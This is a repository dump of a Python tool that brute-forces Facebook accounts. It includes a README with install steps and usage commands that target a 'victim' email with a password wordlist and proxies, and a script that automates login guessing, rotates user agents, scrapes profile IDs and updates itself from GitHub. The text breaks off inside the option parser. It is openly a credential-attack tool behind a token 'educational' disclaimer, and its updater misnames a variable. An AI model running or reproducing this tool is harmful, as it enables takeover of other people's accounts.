├── 10MPASS.txt ├── README.md ├── core └── version.txt ├── facebook_hack.py └── setup /README.md: -------------------------------------------------------------------------------- 1 | # Facebook_hack 2 | 3 |  4 | ###### Powerfull Facebook Bruteforce Attack. 5 | *** 6 | ###
Commands to run tool in ur terminal Termux && Kali Linux
7 | ***
8 |
9 | ```bash
10 | Note : Tool is Made of Educational Purposes only.
11 | Please try not to harm anyone device
12 | it's For Fun Purpose Not For Revenge
13 | (Join Us https://bit.ly/3PV3S3r)
14 | ```
15 | ## Language is used to Make this tool
16 | - Python
17 |
18 | ## The Tool is for :
19 | - Windows
20 | - Kali Linux
21 | - Android~Termux
22 | - macOs
23 | - any Os has python(2.x, 3.x) with required modules
24 |
25 | ###### Installation
26 | ```bash
27 | apt update && apt upgrade -y
28 | ```
29 | ```bash
30 | apt install git -y
31 | ```
32 | ```bash
33 | git clone https://github.com/hackerxphantom/Facebook_hack.git
34 | ```
35 | ```bash
36 | cd Facebook_hack
37 | ```
38 | ```bash
39 | bash setup
40 | ```
41 | ```bash
42 | python facebook_hack.py
43 | ```
44 |
45 | ## usage :-
46 | - **U can Use Victim email Or Facebook Profile Id**:
47 |
48 | - **Brute Force On Facebook Account Without proxy**:
49 |
50 | * **Command**: python facebook_hack.py -t victim@gmail.com -w 10MPASS.txt
51 |
52 | - **Brute Force On Facebook Account With Proxy**:
53 |
54 | * **Command**: python facebook_hack.py -t victim@gmail.com -w 10MPASS.txt -p 144.217.101.245:3129
55 |
56 | - **Get Target Facebook Profile ID**:
57 |
58 |
59 | * **Command**: python facebook_hack.py -g https://www.facebook.com/zuck
60 |
61 |
--------------------------------------------------------------------------------
/core/version.txt:
--------------------------------------------------------------------------------
1 | 2.0.3.2
2 |
--------------------------------------------------------------------------------
/facebook_hack.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | import socket, sys, os, re, random, optparse, time, io
4 | if sys.version_info.major <= 2:import httplib
5 | else:import http.client as httplib
6 |
7 | ## COLORS ###############
8 | wi="\033[1;37m" #>>White#
9 | rd="\033[1;31m" #>Red #
10 | gr="\033[1;32m" #>Green #
11 | yl="\033[1;33m" #>Yellow#
12 | #########################
13 | os.system("cls||clear")
14 | def write(text):
15 | sys.stdout.write(text)
16 | sys.stdout.flush()
17 |
18 | versionPath = os.path.join("core", "version.txt")
19 |
20 | errMsg = lambda msg: write(rd+"\n["+yl+"!"+rd+"] Error: "+yl+msg+rd+ " !!!\n"+wi)
21 |
22 | try:import requests
23 | except ImportError:
24 | errMsg("[ requests ] module is missing")
25 | print(" [*] Please Use: 'pip install requests' to install it :)")
26 | sys.exit(1)
27 | try:import mechanize
28 | except ImportError:
29 | errMsg("[ mechanize ] module is missing")
30 | print(" [*] Please Use: 'pip install mechanize' to install it :)")
31 | sys.exit(1)
32 |
33 | class FaceBoom(object):
34 |
35 |
36 | def __init__(self):
37 | self.useProxy = None
38 | self.br = mechanize.Browser()
39 | self.br.set_handle_robots(False)
40 | self.br._factory.is_html = True
41 | self.br.addheaders=[('User-agent',random.choice([
42 | 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24',
43 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36',
44 | 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2',
45 | 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54',
46 | 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11',
47 | 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6',
48 | 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']))]
49 |
50 |
51 | @staticmethod
52 | def check_proxy(proxy):
53 | proxies = {'https':"https://"+proxy, 'http':"http://"+proxy}
54 | proxy_ip = proxy.split(":")[0]
55 | try:
56 | r = requests.get('https://www.wikipedia.org',proxies=proxies, timeout=5)
57 | if proxy_ip==r.headers['X-Client-IP']: return True
58 | return False
59 | except Exception : return False
60 |
61 |
62 | @staticmethod
63 | def cnet():
64 | try:
65 | socket.create_connection((socket.gethostbyname("www.google.com"), 80), 2)
66 | return True
67 | except socket.error:pass
68 | return False
69 |
70 |
71 | def get_profile_id(self, target_profile):
72 | try:
73 | print(gr+"\n["+wi+"*"+gr+"] geting target Profile Id... please wait"+wi)
74 | idre = re.compile('(?<="userID":").*?(?=")')
75 | con = requests.get(target_profile).text
76 | idis = idre.search(con).group()
77 | print(wi+"\n["+gr+"+"+wi+"]"+gr+" Target Profile"+wi+" ID: "+yl+idis+wi)
78 | except Exception:
79 | errMsg("Please Check Your Victim's Profile URL")
80 | sys.exit(1)
81 |
82 |
83 | def login(self,target, password):
84 |
85 | try:
86 | self.br.open("https://facebook.com")
87 | self.br.select_form(nr=0)
88 | self.br.form['email']=target
89 | self.br.form['pass']= password
90 | self.br.method ="POST"
91 | if self.br.submit().get_data().__contains__(b'home_icon'):return 1
92 | elif "checkpoint" in self.br.geturl(): return 2
93 | return 0
94 | except(KeyboardInterrupt, EOFError):
95 | print(rd+"\n["+yl+"!"+rd+"]"+yl+" Aborting"+rd+"..."+wi)
96 | time.sleep(1.5)
97 | sys.exit(1)
98 | except Exception as e:
99 | print(rd+" Error: "+yl+str(e)+wi+"\n")
100 | time.sleep(0.60)
101 |
102 |
103 | def banner(self,target,wordlist,single_passwd):
104 |
105 | proxystatus = gr+self.useProxy+wi+"["+gr+"ON"+wi+"]" if self.useProxy else yl+"["+rd+"OFF"+yl+"]"
106 | print(gr+"""
107 | ==================================
108 | [---] """+wi+"""FaceBook_hack"""+gr+""" [---]
109 | ==================================
110 | [---] """+wi+"""BruteForce Facebook """+gr+""" [---]
111 | ==================================
112 | [---] """+yl+"""CONFIG"""+gr+""" [---]
113 | ==================================
114 | [>] Target :> """+wi+target+gr+"""
115 | {}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+"""
116 | [>] ProxyStatus :> """+str(proxystatus)+wi)
117 | if not single_passwd:
118 | print(gr+"""\
119 | =================================="""+wi+"""
120 | [~] """+yl+"""Brute"""+rd+""" ForceATTACK: """+gr+"""Enabled """+wi+"""[~]"""+gr+"""
121 | ==================================\n"""+wi)
122 | else:print("\n")
123 |
124 |
125 | @staticmethod
126 | def updateFacebook_hack():
127 | if not os.path.isfile(versionPath):
128 | errMsg("Unable to check for updates: please re-clone the script to fix this problem")
129 | sys.exit(1)
130 | write("[~] Checking for updates...\n")
131 | conn = httplib.HTTPSConnection("raw.githubusercontent.com")
132 | conn.request("GET", "/Oseid/Facebook_hack/master/core/version.txt")
133 | repoVersion = conn.getresponse().read().strip().decode()
134 | with open(versionPath) as vf:
135 | currentVersion = vf.read().strip()
136 | if repoVersion == currentVersion:write(" [*] The script is up to date!\n")
137 | else:
138 | print(" [+] An update has been found ::: Updating... ")
139 | conn.request("GET", "/Oseid/FaceBook_hack/master/facebook_hack.py")
140 | newCode = conn.getresponse().read().strip().decode()
141 | with open("facebook_hack.py", "w") as facebook_hackScript:
142 | faceBook_hackScript.write(newCode)
143 | with open(versionPath, "w") as ver:
144 | ver.write(repoVersion)
145 | write(" [+] Successfully updated :)\n")
146 |
147 | parse = optparse.OptionParser(wi+"""
148 | Usage: python facebook_hack.py [OPTIONS...]
149 | -------------
150 | OPTIONS:
151 | |
152 | |--------
153 | | -t